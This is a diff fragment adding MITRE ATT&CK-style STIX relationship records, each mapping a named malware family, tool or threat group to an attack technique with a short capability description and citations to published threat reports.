"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[More_eggs](https://attack.mitre.org/software/S0284) has the capability to gather the IP address from the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a68efc4c-4e5d-448a-8df4-2cf1980e716e", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) gathers the local system time from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0292b89-50c2-4b62-8471-6a1b27dc7fc3", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) obtains the number of removable drives from the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5cceffd9-5818-4481-bce6-4e326548d6b4", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. 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(2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.151Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) gathers credentials in files for 1password, and keychains.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a95c8f0a-a7ba-4af0-b3ac-5abaf44ff563", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.683Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) uses macOS' .command file type to script actions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee998ebb-2960-45db-bced-7c8081dfc030", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.715Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) can delete itself or specified files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--761edf58-baad-4626-acca-a137c251b0e6", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A module in [Prikormka](https://attack.mitre.org/software/S0113) collects passwords stored in applications installed on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c84cfe2-a395-47c6-831a-4491f8585a00", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.764Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) can be added as a service to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce42140b-f801-40da-8185-105a9b1a915a", + "external_references": [ + { + "source_name": "Lastline PlugX Analysis", + "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.", + "url": "http://labs.lastline.com/an-analysis-of-plugx" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2019-04-19T15:08:16.007Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can ping or traceroute a remote host.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51742efe-5f0c-4fbf-9eb7-5e765a0a408f", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--312c929a-abf6-44c1-95d6-6dde60c7a3fe", + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "modified": "2019-04-24T23:43:08.263Z", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects data stored in the clipboard.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5070c502-1f3b-4e8c-8eb5-2ea5379fd8f4", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) gathers the local IP address.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0829e860-9ea0-43c9-8bfd-55b4236d67af", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) completes network communication via raw sockets.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--51c5e624-d08e-4750-91f9-fdc98ec56552", + "external_references": [ + { + "source_name": "Palo Alto MoonWind March 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rover](https://attack.mitre.org/software/S0090) searches for files on local drives based on a predefined list of file extensions.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c792d18-25a3-4d85-be44-93523228748c", + "external_references": [ + { + "source_name": "Palo Alto Rover", + "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38", + "relationship_type": "uses", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) gathers the OS version, logical drives information, processor information, and volume information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1c307de-b924-4332-b8db-3c371e46430e", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) uses HTTP for C2.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--46829b2b-0f05-4022-a254-e8b26fdfb860", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + } + ], + "modified": "2019-06-24T19:07:12.665Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) uses commands such as netsh advfirewall firewall to discover local firewall settings.", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e77d363-e38f-40ad-a6ef-9222dc12793d", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-10T15:59:09.517Z", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:27:53.673Z", + "type": "relationship", + "id": "relationship--fcf18dc5-8ac0-4ae7-84b9-c47ebd468022", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--34d6a2ef-370e-4d21-a34b-6208b7c78f31", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to create a reverse shell.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54847cda-c38f-4a5b-8328-d0e6812b837b", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. 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Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses ports 447 and 8082 for C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ec5ed3d-92af-4a86-b9db-42e506e661d3", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. 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Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf" + } + ], + "modified": "2019-04-24T23:36:42.333Z", + "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "relationship_type": "uses", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DealersChoice](https://attack.mitre.org/software/S0243) uses HTTP for communication with the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ee83de4f-1ebf-4da4-829e-052d2ac7cb3a", + "external_references": [ + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. 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Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-05-14T17:10:21.976Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) kills antimalware running process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0220ae6b-0dd1-434c-9bde-68ee2b045a53", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the Internet adapter configuration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--45a9a394-2371-4751-ae86-043630b6f52a", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can clear all system event logs.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--af009cfc-2b1f-4c4c-8712-0c13a2884d8e", + "external_references": [ + { + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NETWIRE](https://attack.mitre.org/software/S0198) creates a Registry start-up entry to establish persistence.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--06eb051c-74d0-4bbd-8cdf-1018b3c2e748", + "external_references": [ + { + "source_name": "McAfee Netwire Mar 2015", + "description": "McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain the victim user name.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21fdaa87-7b0e-4ad9-a612-c4d2ec8789d7", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:15:04.098Z", + "type": "relationship", + "id": "relationship--25a46055-25f5-4f91-9b0f-ba099f9dde4b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.029Z", + "source_ref": "course-of-action--19edfa02-1a5f-47e4-ad82-3288f57f64cf", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winnti](https://attack.mitre.org/software/S0141) sets its DLL file as a new service in the Registry to establish persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0a65c303-52a6-4624-a8fb-fc7448429139", + "external_references": [ + { + "source_name": "Microsoft Winnti Jan 2017", + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used batch scripts to enumerate users in the victim environment.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b0bfd6bc-95fd-4587-8d2d-2d40c3c25ba0", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.674Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Elise](https://attack.mitre.org/software/S0081) executes net user after initial communication is made to the remote server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c987dc63-ef3d-43aa-9344-bd9fd528c55d", + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "modified": "2019-04-17T22:12:24.923Z", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": 